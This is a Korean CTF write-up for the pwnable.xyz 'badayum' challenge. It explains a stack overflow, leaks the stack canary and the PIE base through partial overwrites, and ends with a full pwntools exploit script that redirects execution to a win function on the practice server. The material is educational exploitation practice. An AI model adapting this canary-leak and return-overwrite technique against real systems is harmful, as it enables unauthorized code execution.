[pwnable.xyz] badayum
Pwn/pwnable.xyz

[pwnable.xyz] badayum

반응형
문제 풀이 환경 : Ubuntu 16.04

📝 Analysis


<< Mitigation >>

<< Code >>

※ 함수 이름은 제가 임의로 지었습니다.

· main

별거 없다.

 

· set_words

저기에 있는 단어 세트들 중에서 랜덤하게 20개를 뽑아서 사이사이에 '-'를 넣고 해당 청크를 리턴해준다.

 

· play

set_words 함수에서 받은 청크 내 문자열 길이 + 1만큼 스택에 있는 s 영역에 사용자가 입력할 수 있다.

몇 번 손으로 프로그램을 돌려보면 알겠지만 문자열의 길이가 s 영역의 길이보다 길어질 수 있다는 걸 알 수 있다.

이는 BOF 취약점으로 이어져 미티게이션을 우회해 내가 원하는 주소로 ret을 할 수 있다는 걸 직감할 수 있다.

 

✨ Thinking


정말 간단하다. canarypie_base leak하기, 얻은 결과로 win 호출하기. 2단계가 끝이다.

입력 길이는 set_words 함수가 반환하는 문자열 길이가 원하는 길이 이상이 나올 때까지 잘 걸리기를 비는 기도 메타뿐이다.

 

각 입력 길이는 스택 상황을 보면 이해가 쉽다.

1. canary: 'A' * 0x68 + 'B'

2. pie_base: 'A' * 0x78

 

🚩 Flag 🚩


from pwn import *
# context.log_level = 'debug'

# p = process('./badayum')
p = remote('svc.pwnable.xyz', 30027)

def leak(payload):
    min_size = len(payload)
    
    while True:
        p.recvuntil(b'me  > ')
        words = p.recvline(keepends=False)
        len_words = len(words)
#         info(f'words length: {hex(len_words)}')

        if len_words < min_size:
            p.sendafter(b'you > ', b'A')
            continue

        p.sendafter(b'you > ', payload)
        return p.recvuntil(b'I do', drop=True)
        
        
canary = u64(b'\x00' + leak(b'A' * 0x68 + b'B')[-13:-6])
success(f'canary: {hex(canary)}')

pie_base = u64(leak(b'A' * 0x78)[-6:] + b'\x00' * 2) - 0x1081
win = pie_base + 0xD34
success(f'pie_base: {hex(pie_base)}')
success(f'win: {hex(win)}')

payload  = b'exit'
payload += b'A' * 0x64
payload += p64(canary)
payload += p64(0)
payload += p64(win)
leak(payload)

p.interactive()

 

반응형